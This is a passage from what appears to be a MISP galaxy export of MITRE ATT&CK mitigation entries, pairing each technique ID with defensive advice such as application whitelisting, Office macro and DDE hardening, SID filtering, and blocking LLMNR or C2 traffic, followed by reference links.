File system activity is a common part of an operating system, so it is unlikely that mitigation would be appropriate for this technique. For example, mitigating accesses to browser bookmark files will likely have unintended side effects such as preventing legitimate software from operating properly. Efforts should be focused on preventing adversary tools from running earlier in the chain of activity and on identification of subsequent malicious behavior. It may still be beneficial to identify and block unnecessary system utilities or potentially malicious software by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)
The tag is: misp-galaxy:mitre-course-of-action="Browser Bookmark Discovery Mitigation - T1217"
Browser Bookmark Discovery Mitigation - T1217 has relationships with:
-
mitigates: misp-galaxy:mitre-attack-pattern="Browser Bookmark Discovery - T1217" with estimative-language:likelihood-probability="almost-certain"
Links |
http://blog.jpcert.or.jp/2016/01/windows-commands-abused-by-attackers.html |
http://technet.microsoft.com/en-us/magazine/2008.06.srp.aspx |
Trusted Developer Utilities Mitigation - T1127
MSBuild.exe, dnx.exe, rcsi.exe, WinDbg.exe, cdb.exe, and tracker.exe may not be necessary within a given environment and should be removed if not used.
Use application whitelisting configured to block execution of MSBuild.exe, dnx.exe, rcsi.exe, WinDbg.exe, and cdb.exe if they are not required for a given system or network to prevent potential misuse by adversaries. (Citation: Microsoft GitHub Device Guard CI Policies) (Citation: Exploit Monday Mitigate Device Guard Bypases) (Citation: GitHub mattifestation DeviceGuardBypass) (Citation: SubTee MSBuild)
The tag is: misp-galaxy:mitre-course-of-action="Trusted Developer Utilities Mitigation - T1127"
Trusted Developer Utilities Mitigation - T1127 has relationships with:
-
mitigates: misp-galaxy:mitre-attack-pattern="Trusted Developer Utilities - T1127" with estimative-language:likelihood-probability="almost-certain"
Links |
http://www.exploit-monday.com/2016/09/using-device-guard-to-mitigate-against.html |
https://github.com/mattifestation/DeviceGuardBypassMitigationRules |
Netsh Helper DLL Mitigation - T1128
Identify and block potentially malicious software that may persist in this manner by using whitelisting (Citation: Beechey 2010) tools capable of monitoring DLL loads by Windows utilities like AppLocker. (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker)
The tag is: misp-galaxy:mitre-course-of-action="Netsh Helper DLL Mitigation - T1128"
Netsh Helper DLL Mitigation - T1128 has relationships with:
-
mitigates: misp-galaxy:mitre-attack-pattern="Netsh Helper DLL - T1128" with estimative-language:likelihood-probability="almost-certain"
Links |
http://blog.jpcert.or.jp/2016/01/windows-commands-abused-by-attackers.html |
Remote Access Tools Mitigation - T1219
Properly configure firewalls, application firewalls, and proxies to limit outgoing traffic to sites and services used by remote access tools.
Network intrusion detection and prevention systems that use network signatures may be able to prevent traffic to these services as well.
Use application whitelisting to mitigate use of and installation of unapproved software.
The tag is: misp-galaxy:mitre-course-of-action="Remote Access Tools Mitigation - T1219"
Remote Access Tools Mitigation - T1219 has relationships with:
-
mitigates: misp-galaxy:mitre-attack-pattern="Remote Access Tools - T1219" with estimative-language:likelihood-probability="almost-certain"
Links |
External Remote Services Mitigation - T1133
Limit access to remote services through centrally managed concentrators such as VPNs and other managed remote access systems. Deny direct remote access to internal systems through the use of network proxies, gateways, and firewalls. Disable or block remotely available services such as [Windows Remote Management](https://attack.mitre.org/techniques/T1028). Use strong two-factor or multi-factor authentication for remote service accounts to mitigate an adversary’s ability to leverage stolen credentials, but be aware of [Two-Factor Authentication Interception](https://attack.mitre.org/techniques/T1111) techniques for some two-factor authentication implementations.
The tag is: misp-galaxy:mitre-course-of-action="External Remote Services Mitigation - T1133"
External Remote Services Mitigation - T1133 has relationships with:
-
mitigates: misp-galaxy:mitre-attack-pattern="External Remote Services - T1133" with estimative-language:likelihood-probability="almost-certain"
Links |
Access Token Manipulation Mitigation - T1134
Access tokens are an integral part of the security system within Windows and cannot be turned off. However, an attacker must already have administrator level access on the local system to make full use of this technique; be sure to restrict users and accounts to the least privileges they require to do their job.
Any user can also spoof access tokens if they have legitimate credentials. Follow mitigation guidelines for preventing adversary use of [Valid Accounts](https://attack.mitre.org/techniques/T1078). Limit permissions so that users and user groups cannot create tokens. This setting should be defined for the local system account only. GPO: Computer Configuration > [Policies] > Windows Settings > Security Settings > Local Policies > User Rights Assignment: Create a token object. (Citation: Microsoft Create Token) Also define who can create a process level token to only the local and network service through GPO: Computer Configuration > [Policies] > Windows Settings > Security Settings > Local Policies > User Rights Assignment: Replace a process level token. (Citation: Microsoft Replace Process Token)
Also limit opportunities for adversaries to increase privileges by limiting Privilege Escalation opportunities.
The tag is: misp-galaxy:mitre-course-of-action="Access Token Manipulation Mitigation - T1134"
Access Token Manipulation Mitigation - T1134 has relationships with:
-
mitigates: misp-galaxy:mitre-attack-pattern="Access Token Manipulation - T1134" with estimative-language:likelihood-probability="almost-certain"
Links |
https://docs.microsoft.com/windows/device-security/security-policy-settings/create-a-token-object |
Network Share Discovery Mitigation - T1135
Identify unnecessary system utilities or potentially malicious software that may be used to acquire network share information, and audit and/or block them by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)
The tag is: misp-galaxy:mitre-course-of-action="Network Share Discovery Mitigation - T1135"
Network Share Discovery Mitigation - T1135 has relationships with:
-
mitigates: misp-galaxy:mitre-attack-pattern="Network Share Discovery - T1135" with estimative-language:likelihood-probability="almost-certain"
Links |
http://blog.jpcert.or.jp/2016/01/windows-commands-abused-by-attackers.html |
http://technet.microsoft.com/en-us/magazine/2008.06.srp.aspx |
Office Application Startup Mitigation - T1137
Follow Office macro security best practices suitable for your environment. Disable Office VBA macros from executing. Even setting to disable with notification could enable unsuspecting users to execute potentially malicious macros. (Citation: TechNet Office Macro Security)
For the Office Test method, create the Registry key used to execute it and set the permissions to "Read Control" to prevent easy access to the key without administrator permissions or requiring Privilege Escalation. (Citation: Palo Alto Office Test Sofacy)
Disable Office add-ins. If they are required, follow best practices for securing them by requiring them to be signed and disabling user notification for allowing add-ins. For some add-ins types (WLL, VBA) additional mitigation is likely required as disabling add-ins in the Office Trust Center does not disable WLL nor does it prevent VBA code from executing. (Citation: MRWLabs Office Persistence Add-ins)
For the Outlook methods, blocking macros may be ineffective as the Visual Basic engine used for these features is separate from the macro scripting engine.(Citation: SensePost Outlook Forms) Microsoft has released patches to try to address each issue. Ensure KB3191938 which blocks Outlook Visual Basic and displays a malicious code warning, KB4011091 which disables custom forms by default, and KB4011162 which removes the legacy Home Page feature, are applied to systems.(Citation: SensePost Outlook Home Page)
The tag is: misp-galaxy:mitre-course-of-action="Office Application Startup Mitigation - T1137"
Office Application Startup Mitigation - T1137 has relationships with:
-
mitigates: misp-galaxy:mitre-attack-pattern="Office Application Startup - T1137" with estimative-language:likelihood-probability="almost-certain"
Links |
https://labs.mwrinfosecurity.com/blog/add-in-opportunities-for-office-persistence/ |
https://sensepost.com/blog/2017/outlook-home-page-another-ruler-vector/ |
Dynamic Data Exchange Mitigation - T1173
Registry keys specific to Microsoft Office feature control security can be set to disable automatic DDE/OLE execution. (Citation: Microsoft DDE Advisory Nov 2017) (Citation: BleepingComputer DDE Disabled in Word Dec 2017) (Citation: GitHub Disable DDEAUTO Oct 2017) Microsoft also created, and enabled by default, Registry keys to completely disable DDE execution in Word and Excel. (Citation: Microsoft ADV170021 Dec 2017)
Ensure Protected View is enabled (Citation: Microsoft Protected View) and consider disabling embedded files in Office programs, such as OneNote, not enrolled in Protected View. (Citation: Enigma Reviving DDE Jan 2018) (Citation: GitHub Disable DDEAUTO Oct 2017)
On Windows 10, enable Attack Surface Reduction (ASR) rules to prevent DDE attacks and spawning of child processes from Office programs. (Citation: Microsoft ASR Nov 2017) (Citation: Enigma Reviving DDE Jan 2018)
The tag is: misp-galaxy:mitre-course-of-action="Dynamic Data Exchange Mitigation - T1173"
Dynamic Data Exchange Mitigation - T1173 has relationships with:
-
mitigates: misp-galaxy:mitre-attack-pattern="Dynamic Data Exchange - T1173" with estimative-language:likelihood-probability="almost-certain"
Clear Command History Mitigation - T1146
Preventing users from deleting or writing to certain files can stop adversaries from maliciously altering their <code>~/.bash_history</code> files. Additionally, making these environment variables readonly can make sure that the history is preserved (Citation: Securing bash history).
The tag is: misp-galaxy:mitre-course-of-action="Clear Command History Mitigation - T1146"
Clear Command History Mitigation - T1146 has relationships with:
-
mitigates: misp-galaxy:mitre-attack-pattern="Clear Command History - T1146" with estimative-language:likelihood-probability="almost-certain"
Links |
Password Filter DLL Mitigation - T1174
Ensure only valid password filters are registered. Filter DLLs must be present in Windows installation directory (<code>C:\Windows\System32\</code> by default) of a domain controller and/or local computer with a corresponding entry in <code>HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Lsa\Notification Packages</code>. (Citation: Microsoft Install Password Filter n.d)
The tag is: misp-galaxy:mitre-course-of-action="Password Filter DLL Mitigation - T1174"
Password Filter DLL Mitigation - T1174 has relationships with:
-
mitigates: misp-galaxy:mitre-attack-pattern="Password Filter DLL - T1174" with estimative-language:likelihood-probability="almost-certain"
Links |
https://msdn.microsoft.com/library/windows/desktop/ms721766.aspx |
Spearphishing via Service Mitigation - T1194
Determine if certain social media sites, personal webmail services, or other service that can be used for spearphishing is necessary for business operations and consider blocking access if activity cannot be monitored well or if it poses a significant risk.
Because this technique involves use of legitimate services and user interaction on the endpoint, it’s difficult to fully mitigate. However, there are potential mitigations. Users can be trained to identify social engineering techniques and spearphishing emails with malicious links. To prevent the downloads from executing, application whitelisting can be used. Anti-virus can also automatically quarantine suspicious files.
The tag is: misp-galaxy:mitre-course-of-action="Spearphishing via Service Mitigation - T1194"
Spearphishing via Service Mitigation - T1194 has relationships with:
-
mitigates: misp-galaxy:mitre-attack-pattern="Spearphishing via Service - T1194" with estimative-language:likelihood-probability="almost-certain"
Links |
Supply Chain Compromise Mitigation - T1195
Apply supply chain risk management (SCRM) practices and procedures (Citation: MITRE SE Guide 2014), such as supply chain analysis and appropriate risk management, throughout the life-cycle of a system.
Leverage established software development lifecycle (SDLC) practices (Citation: NIST Supply Chain 2012):
-
Uniquely Identify Supply Chain Elements, Processes, and Actors
-
Limit Access and Exposure within the Supply Chain
-
Establish and Maintain the Provenance of Elements, Processes, Tools, and Data
-
Share Information within Strict Limits
-
Perform SCRM Awareness and Training
-
Use Defensive Design for Systems, Elements, and Processes
-
Perform Continuous Integrator Review
-
Strengthen Delivery Mechanisms
-
Assure Sustainment Activities and Processes
-
Manage Disposal and Final Disposition Activities throughout the System or Element Life Cycle
A patch management process should be implemented to check unused dependencies, unmaintained and/or previously vulnerable dependencies, unnecessary features, components, files, and documentation. Continuous monitoring of vulnerability sources and the use of automatic and manual code review tools should also be implemented as well. (Citation: OWASP Top 10 2017)
The tag is: misp-galaxy:mitre-course-of-action="Supply Chain Compromise Mitigation - T1195"
Supply Chain Compromise Mitigation - T1195 has relationships with:
-
mitigates: misp-galaxy:mitre-attack-pattern="Supply Chain Compromise - T1195" with estimative-language:likelihood-probability="almost-certain"
Links |
https://www.mitre.org/sites/default/files/publications/se-guide-book-interactive.pdf |
https://www.owasp.org/images/7/72/OWASP_Top_10-2017_%28en%29.pdf.pdf |
Setuid and Setgid Mitigation - T1166
Applications with known vulnerabilities or known shell escapes should not have the setuid or setgid bits set to reduce potential damage if an application is compromised. Additionally, the number of programs with setuid or setgid bits set should be minimized across a system.
The tag is: misp-galaxy:mitre-course-of-action="Setuid and Setgid Mitigation - T1166"
Setuid and Setgid Mitigation - T1166 has relationships with:
-
mitigates: misp-galaxy:mitre-attack-pattern="Setuid and Setgid - T1166" with estimative-language:likelihood-probability="almost-certain"
Links |
Local Job Scheduling Mitigation - T1168
Limit privileges of user accounts and remediate Privilege Escalation vectors so only authorized users can create scheduled jobs. Identify and block unnecessary system utilities or potentially malicious software that may be used to schedule jobs using whitelisting tools.
The tag is: misp-galaxy:mitre-course-of-action="Local Job Scheduling Mitigation - T1168"
Local Job Scheduling Mitigation - T1168 has relationships with:
-
mitigates: misp-galaxy:mitre-attack-pattern="Local Job Scheduling - T1168" with estimative-language:likelihood-probability="almost-certain"
Links |
Control Panel Items Mitigation - T1196
This type of attack technique cannot be easily mitigated with preventive controls since it is based on the abuse of operating system design features. For example, mitigating specific Windows API calls and/or execution of particular file extensions will likely have unintended side effects, such as preventing legitimate software (i.e., drivers and configuration tools) from operating properly. Efforts should be focused on preventing adversary tools from running earlier in the chain of activity and on identification of subsequent malicious behavior.
Restrict storage and execution of Control Panel items to protected directories, such as <code>C:\Windows</code>, rather than user directories.
Index known safe Control Panel items and block potentially malicious software using whitelisting (Citation: Beechey 2010) tools like AppLocker (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) that are capable of auditing and/or blocking unknown executable files.
Consider fully enabling User Account Control (UAC) to impede system-wide changes from illegitimate administrators. (Citation: Microsoft UAC)
The tag is: misp-galaxy:mitre-course-of-action="Control Panel Items Mitigation - T1196"
Control Panel Items Mitigation - T1196 has relationships with:
-
mitigates: misp-galaxy:mitre-attack-pattern="Control Panel Items - T1196" with estimative-language:likelihood-probability="almost-certain"
Links |
http://blog.jpcert.or.jp/2016/01/windows-commands-abused-by-attackers.html |
https://msdn.microsoft.com/library/windows/desktop/dn742497.aspx |
File Permissions Modification Mitigation - T1222
This type of technique cannot be easily mitigated with preventive controls since it is based on the abuse of operating system design features. Efforts should be focused on preventing adversary tools from running earlier in the chain of activity and on identification of subsequent malicious behavior.
The tag is: misp-galaxy:mitre-course-of-action="File Permissions Modification Mitigation - T1222"
File Permissions Modification Mitigation - T1222 has relationships with:
-
mitigates: misp-galaxy:mitre-attack-pattern="File and Directory Permissions Modification - T1222" with estimative-language:likelihood-probability="almost-certain"
Links |
Compiled HTML File Mitigation - T1223
Consider blocking download/transfer and execution of potentially uncommon file types known to be used in adversary campaigns, such as CHM files. (Citation: PaloAlto Preventing Opportunistic Attacks Apr 2016) Also consider using application whitelisting to prevent execution of hh.exe if it is not required for a given system or network to prevent potential misuse by adversaries.
The tag is: misp-galaxy:mitre-course-of-action="Compiled HTML File Mitigation - T1223"
Compiled HTML File Mitigation - T1223 has relationships with:
-
mitigates: misp-galaxy:mitre-attack-pattern="Compiled HTML File - T1223" with estimative-language:likelihood-probability="almost-certain"
Links |
Domain Trust Discovery Mitigation - T1482
Map the trusts within existing domains/forests and keep trust relationships to a minimum. Employ network segmentation for sensitive domains.(Citation: Harmj0y Domain Trusts)
The tag is: misp-galaxy:mitre-course-of-action="Domain Trust Discovery Mitigation - T1482"
Domain Trust Discovery Mitigation - T1482 has relationships with:
-
mitigates: misp-galaxy:mitre-attack-pattern="Domain Trust Discovery - T1482" with estimative-language:likelihood-probability="almost-certain"
Links |
http://www.harmj0y.net/blog/redteaming/a-guide-to-attacking-domain-trusts/ [http://www.harmj0y.net/blog/redteaming/a-guide-to-attacking-domain-trusts/ ] |
Stored Data Manipulation Mitigation - T1492
Identify critical business and system processes that may be targeted by adversaries and work to secure the data related to those processes against tampering. Ensure least privilege principles are applied to important information resources to reduce exposure to data manipulation risk. Consider encrypting important information to reduce an adversaries ability to perform tailor data modifications. Where applicable, examine using file monitoring software to check integrity on important files and directories as well as take corrective actions when unauthorized changes are detected.
Consider implementing IT disaster recovery plans that contain procedures for taking regular data backups that can be used to restore organizational data.(Citation: Ready.gov IT DRP) Ensure backups are stored off system and is protected from common methods adversaries may use to gain access and manipulate backups.
The tag is: misp-galaxy:mitre-course-of-action="Stored Data Manipulation Mitigation - T1492"
Stored Data Manipulation Mitigation - T1492 has relationships with:
-
mitigates: misp-galaxy:mitre-attack-pattern="Stored Data Manipulation - T1492" with estimative-language:likelihood-probability="almost-certain"
Links |
Domain Generation Algorithms Mitigation - T1483
This technique may be difficult to mitigate since the domains can be registered just before they are used, and disposed shortly after. Malware researchers can reverse-engineer malware variants that use DGAs and determine future domains that the malware will attempt to contact, but this is a time and resource intensive effort.(Citation: Cybereason Dissecting DGAs)(Citation: Cisco Umbrella DGA Brute Force) Malware is also increasingly incorporating seed values that can be unique for each instance, which would then need to be determined to extract future generated domains. In some cases, the seed that a particular sample uses can be extracted from DNS traffic.(Citation: Akamai DGA Mitigation) Even so, there can be thousands of possible domains generated per day; this makes it impractical for defenders to preemptively register all possible C2 domains due to the cost. In some cases a local DNS sinkhole may be used to help prevent DGA-based command and control at a reduced cost.
Network intrusion detection and prevention systems that use network signatures to identify traffic for specific adversary malware can be used to mitigate activity at the network level. Signatures are often for unique indicators within protocols and may be based on the specific protocol used by a particular adversary or tool, and will likely be different across various malware families and versions. Adversaries will likely change tool C2 signatures over time or construct protocols in such a way as to avoid detection by common defensive tools. (Citation: University of Birmingham C2)
The tag is: misp-galaxy:mitre-course-of-action="Domain Generation Algorithms Mitigation - T1483"
Domain Generation Algorithms Mitigation - T1483 has relationships with:
-
mitigates: misp-galaxy:mitre-attack-pattern="Domain Generation Algorithms - T1483" with estimative-language:likelihood-probability="almost-certain"
Links |
https://umbrella.cisco.com/blog/2015/02/18/at-high-noon-algorithms-do-battle/ |
https://blogs.akamai.com/2018/01/a-death-match-of-domain-generation-algorithms.html |
Transmitted Data Manipulation Mitigation - T1493
Identify critical business and system processes that may be targeted by adversaries and work to secure communications related to those processes against tampering. Encrypt all important data flows to reduce the impact of tailored modifications on data in transit.
The tag is: misp-galaxy:mitre-course-of-action="Transmitted Data Manipulation Mitigation - T1493"
Transmitted Data Manipulation Mitigation - T1493 has relationships with:
-
mitigates: misp-galaxy:mitre-attack-pattern="Transmitted Data Manipulation - T1493" with estimative-language:likelihood-probability="almost-certain"
Links |
Group Policy Modification Mitigation - T1484
Identify and correct GPO permissions abuse opportunities (ex: GPO modification privileges) using auditing tools such as Bloodhound (version 1.5.1 and later)(Citation: GitHub Bloodhound).
Consider implementing WMI and security filtering to further tailor which users and computers a GPO will apply to.(Citation: Wald0 Guide to GPOs)(Citation: Microsoft WMI Filters)(Citation: Microsoft GPO Security Filtering)
The tag is: misp-galaxy:mitre-course-of-action="Group Policy Modification Mitigation - T1484"
Group Policy Modification Mitigation - T1484 has relationships with:
-
mitigates: misp-galaxy:mitre-attack-pattern="Group Policy Modification - T1484" with estimative-language:likelihood-probability="almost-certain"
Links |
https://blogs.technet.microsoft.com/askds/2008/09/11/fun-with-wmi-filters-in-group-policy/ |
Runtime Data Manipulation Mitigation - T1494
Identify critical business and system processes that may be targeted by adversaries and work to secure those systems against tampering. Prevent critical business and system processes from being replaced, overwritten, or reconfigured to load potentially malicious code. Identify potentially malicious software and audit and/or block it by using whitelisting(Citation: Beechey 2010) tools, like AppLocker,(Citation: Windows Commands JPCERT)(Citation: NSA MS AppLocker) or Software Restriction Policies(Citation: Corio 2008) where appropriate.(Citation: TechNet Applocker vs SRP)
The tag is: misp-galaxy:mitre-course-of-action="Runtime Data Manipulation Mitigation - T1494"
Runtime Data Manipulation Mitigation - T1494 has relationships with:
-
mitigates: misp-galaxy:mitre-attack-pattern="Runtime Data Manipulation - T1494" with estimative-language:likelihood-probability="almost-certain"
Links |
http://blog.jpcert.or.jp/2016/01/windows-commands-abused-by-attackers.html |
http://technet.microsoft.com/en-us/magazine/2008.06.srp.aspx |
LLMNR/NBT-NS Poisoning Mitigation - T1171
Disable LLMNR and NetBIOS in local computer security settings or by group policy if they are not needed within an environment. (Citation: ADSecurity Windows Secure Baseline)
Use host-based security software to block LLMNR/NetBIOS traffic. Enabling SMB Signing can stop NTLMv2 relay attacks.(Citation: byt3bl33d3r NTLM Relaying)(Citation: Secure Ideas SMB Relay)(Citation: Microsoft SMB Packet Signing)
The tag is: misp-galaxy:mitre-course-of-action="LLMNR/NBT-NS Poisoning Mitigation - T1171"
LLMNR/NBT-NS Poisoning Mitigation - T1171 has relationships with:
-
mitigates: misp-galaxy:mitre-attack-pattern="LLMNR/NBT-NS Poisoning and Relay - T1171" with estimative-language:likelihood-probability="almost-certain"
Links |
https://blog.secureideas.com/2018/04/ever-run-a-relay-why-smb-relays-should-be-on-your-mind.html |
Restrict Web-Based Content - M1021
Restrict use of certain websites, block downloads/attachments, block Javascript, restrict browser extensions, etc.
The tag is: misp-galaxy:mitre-course-of-action="Restrict Web-Based Content - M1021"
Restrict Web-Based Content - M1021 has relationships with:
-
mitigates: misp-galaxy:mitre-attack-pattern="Compiled HTML File - T1223" with estimative-language:likelihood-probability="almost-certain"
-
mitigates: misp-galaxy:mitre-attack-pattern="User Execution - T1204" with estimative-language:likelihood-probability="almost-certain"
-
mitigates: misp-galaxy:mitre-attack-pattern="Spearphishing via Service - T1194" with estimative-language:likelihood-probability="almost-certain"
-
mitigates: misp-galaxy:mitre-attack-pattern="Spearphishing Attachment - T1193" with estimative-language:likelihood-probability="almost-certain"
-
mitigates: misp-galaxy:mitre-attack-pattern="Drive-by Compromise - T1189" with estimative-language:likelihood-probability="almost-certain"
-
mitigates: misp-galaxy:mitre-attack-pattern="Domain Generation Algorithms - T1483" with estimative-language:likelihood-probability="almost-certain"
-
mitigates: misp-galaxy:mitre-attack-pattern="Web Service - T1102" with estimative-language:likelihood-probability="almost-certain"
-
mitigates: misp-galaxy:mitre-attack-pattern="Spearphishing Link - T1192" with estimative-language:likelihood-probability="almost-certain"
-
mitigates: misp-galaxy:mitre-attack-pattern="Application Access Token - T1527" with estimative-language:likelihood-probability="almost-certain"
-
mitigates: misp-galaxy:mitre-attack-pattern="Steal Application Access Token - T1528" with estimative-language:likelihood-probability="almost-certain"
Links |
Multi-Stage Channels Mitigation - T1104
Command and control infrastructure used in a multi-stage channel may be blocked if known ahead of time. If unique signatures are present in the C2 traffic, they could also be used as the basis of identifying and blocking the channel. (Citation: University of Birmingham C2)
The tag is: misp-galaxy:mitre-course-of-action="Multi-Stage Channels Mitigation - T1104"
Multi-Stage Channels Mitigation - T1104 has relationships with:
-
mitigates: misp-galaxy:mitre-attack-pattern="Multi-Stage Channels - T1104" with estimative-language:likelihood-probability="almost-certain"
Links |
Third-party Software Mitigation - T1072
Evaluate the security of third-party software that could be used in the enterprise environment. Ensure that access to management systems for third-party systems is limited, monitored, and secure. Have a strict approval policy for use of third-party systems.
Grant access to Third-party systems only to a limited number of authorized administrators. Ensure proper system and access isolation for critical network systems through use of firewalls, account privilege separation, group policy, and multi-factor authentication. Verify that account credentials that may be used to access third-party systems are unique and not used throughout the enterprise network. Ensure that any accounts used by third-party providers to access these systems are traceable to the third-party and are not used throughout the network or used by other third-party providers in the same environment. Ensure third-party systems are regularly patched by users or the provider to prevent potential remote access through [Exploitation for Privilege Escalation](https://attack.mitre.org/techniques/T1068).
Ensure there are regular reviews of accounts provisioned to these systems to verify continued business need, and ensure there is governance to trace de-provisioning of access that is no longer required.
Where the third-party system is used for deployment services, ensure that it can be configured to deploy only signed binaries, then ensure that the trusted signing certificates are not co-located with the third-party system and are instead located on a system that cannot be accessed remotely or to which remote access is tightly controlled.
The tag is: misp-galaxy:mitre-course-of-action="Third-party Software Mitigation - T1072"
Third-party Software Mitigation - T1072 has relationships with:
-
mitigates: misp-galaxy:mitre-attack-pattern="Third-party Software - T1072" with estimative-language:likelihood-probability="almost-certain"
Links |
DLL Side-Loading Mitigation - T1073
Update software regularly. Install software in write-protected locations. Use the program sxstrace.exe that is included with Windows along with manual inspection to check manifest files for side-loading vulnerabilities in software.
The tag is: misp-galaxy:mitre-course-of-action="DLL Side-Loading Mitigation - T1073"
DLL Side-Loading Mitigation - T1073 has relationships with:
-
mitigates: misp-galaxy:mitre-attack-pattern="DLL Side-Loading - T1073" with estimative-language:likelihood-probability="almost-certain"
Links |
Command-Line Interface Mitigation - T1059
Audit and/or block command-line interpreters by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)
The tag is: misp-galaxy:mitre-course-of-action="Command-Line Interface Mitigation - T1059"
Command-Line Interface Mitigation - T1059 has relationships with:
-
mitigates: misp-galaxy:mitre-attack-pattern="Command-Line Interface - T1059" with estimative-language:likelihood-probability="almost-certain"
Links |
http://blog.jpcert.or.jp/2016/01/windows-commands-abused-by-attackers.html |
http://technet.microsoft.com/en-us/magazine/2008.06.srp.aspx |
Re-opened Applications Mitigation - T1164
Holding the Shift key while logging in prevents apps from opening automatically (Citation: Re-Open windows on Mac). This feature can be disabled entirely with the following terminal command: <code>defaults write -g ApplePersistence -bool no</code>.
The tag is: misp-galaxy:mitre-course-of-action="Re-opened Applications Mitigation - T1164"
Re-opened Applications Mitigation - T1164 has relationships with:
-
mitigates: misp-galaxy:mitre-attack-pattern="Re-opened Applications - T1164" with estimative-language:likelihood-probability="almost-certain"
Links |
SID-History Injection Mitigation - T1178
Clean up SID-History attributes after legitimate account migration is complete.
Consider applying SID Filtering to interforest trusts, such as forest trusts and external trusts, to exclude SID-History from requests to access domain resources. SID Filtering ensures that any authentication requests over a trust only contain SIDs of security principals from the trusted domain (i.e. preventing the trusted domain from claiming a user has membership in groups outside of the domain).
SID Filtering of forest trusts is enabled by default, but may have been disabled in some cases to allow a child domain to transitively access forest trusts. SID Filtering of external trusts is automatically enabled on all created external trusts using Server 2003 or later domain controllers. (Citation: Microsoft Trust Considerations Nov 2014) (Citation: Microsoft SID Filtering Quarantining Jan 2009) However note that SID Filtering is not automatically applied to legacy trusts or may have been deliberately disabled to allow inter-domain access to resources.
SID Filtering can be applied by: (Citation: Microsoft Netdom Trust Sept 2012)
-
Disabling SIDHistory on forest trusts using the netdom tool (<code>netdom trust <TrustingDomainName> /domain:<TrustedDomainName> /EnableSIDHistory:no</code> on the domain controller).
-
Applying SID Filter Quarantining to external trusts using the netdom tool (<code>netdom trust <TrustingDomainName> /domain:<TrustedDomainName> /quarantine:yes</code> on the domain controller) Applying SID Filtering to domain trusts within a single forest is not recommended as it is an unsupported configuration and can cause breaking changes. (Citation: Microsoft Netdom Trust Sept 2012) (Citation: AdSecurity Kerberos GT Aug 2015) If a domain within a forest is untrustworthy then it should not be a member of the forest. In this situation it is necessary to first split the trusted and untrusted domains into separate forests where SID Filtering can be applied to an interforest trust.
The tag is: misp-galaxy:mitre-course-of-action="SID-History Injection Mitigation - T1178"
SID-History Injection Mitigation - T1178 has relationships with:
-
mitigates: misp-galaxy:mitre-attack-pattern="SID-History Injection - T1178" with estimative-language:likelihood-probability="almost-certain"
Links |
Multi-hop Proxy Mitigation - T1188
Traffic to known anonymity networks and C2 infrastructure can be blocked through the use of network black and white lists. It should be noted that this kind of blocking may be circumvented by other techniques like [Domain Fronting](https://attack.mitre.org/techniques/T1172).
The tag is: misp-galaxy:mitre-course-of-action="Multi-hop Proxy Mitigation - T1188"
Multi-hop Proxy Mitigation - T1188 has relationships with:
-
mitigates: misp-galaxy:mitre-attack-pattern="Multi-hop Proxy - T1188" with estimative-language:likelihood-probability="almost-certain"
Links |
Drive-by Compromise Mitigation - T1189
Drive-by compromise relies on there being a vulnerable piece of software on the client end systems. Use modern browsers with security features turned on. Ensure all browsers and plugins kept updated can help prevent the exploit phase of this technique.
For malicious code served up through ads, adblockers can help prevent that code from executing in the first place. Script blocking extensions can help prevent the execution of JavaScript that may commonly be used during the exploitation process.
Browser sandboxes can be used to mitigate some of the impact of exploitation, but sandbox escapes may still exist. (Citation: Windows Blogs Microsoft Edge Sandbox) (Citation: Ars Technica Pwn2Own 2017 VM Escape)
Other types of virtualization and application microsegmentation may also mitigate the impact of client-side exploitation. The risks of additional exploits and weaknesses in implementation may still exist. (Citation: Ars Technica Pwn2Own 2017 VM Escape)
Security applications that look for behavior used during exploitation such as Windows Defender Exploit Guard (WDEG) and the Enhanced Mitigation Experience Toolkit (EMET) can be used to mitigate some exploitation behavior. (Citation: TechNet Moving Beyond EMET) Control flow integrity checking is another way to potentially identify and stop a software exploit from occurring. (Citation: Wikipedia Control Flow Integrity) Many of these protections depend on the architecture and target application binary for compatibility.
The tag is: misp-galaxy:mitre-course-of-action="Drive-by Compromise Mitigation - T1189"
Drive-by Compromise Mitigation - T1189 has relationships with:
-
mitigates: misp-galaxy:mitre-attack-pattern="Drive-by Compromise - T1189" with estimative-language:likelihood-probability="almost-certain"
Links |
https://blogs.windows.com/msedgedev/2017/03/23/strengthening-microsoft-edge-sandbox/ |
Virtualization/Sandbox Evasion Mitigation - T1497
Mitigation of this technique with preventative controls may impact the adversary’s decision process depending on what they’re looking for, how they use the information, and what their objectives are. Since it may be difficult to mitigate all aspects of information that could be gathered, efforts should be focused on preventing adversary tools from running earlier in the chain of activity and on identifying subsequent malicious behavior if compromised.
The tag is: misp-galaxy:mitre-course-of-action="Virtualization/Sandbox Evasion Mitigation - T1497"
Virtualization/Sandbox Evasion Mitigation - T1497 has relationships with:
-
mitigates: misp-galaxy:mitre-attack-pattern="Virtualization/Sandbox Evasion - T1497" with estimative-language:likelihood-probability="almost-certain"
Links |
Data Obfuscation Mitigation - T1001
Network intrusion detection and prevention systems that use network signatures to identify traffic for specific adversary malware can be used to mitigate activity at the network level. Signatures are often for unique indicators within protocols and may be based on the specific obfuscation technique used by a particular adversary or tool, and will likely be different across various malware families and versions. Adversaries will likely change tool C2 signatures over time or construct protocols in such a way as to avoid detection by common defensive tools. (Citation: University of Birmingham C2)
The tag is: misp-galaxy:mitre-course-of-action="Data Obfuscation Mitigation - T1001"
Data Obfuscation Mitigation - T1001 has relationships with:
-
mitigates: misp-galaxy:mitre-attack-pattern="Data Obfuscation - T1001" with estimative-language:likelihood-probability="almost-certain"
Links |
Web Shell Mitigation - T1100
Ensure that externally facing Web servers are patched regularly to prevent adversary access through [Exploitation for Privilege Escalation](https://attack.mitre.org/techniques/T1068) to gain remote code access or through file inclusion weaknesses that may allow adversaries to upload files or scripts that are automatically served as Web pages.
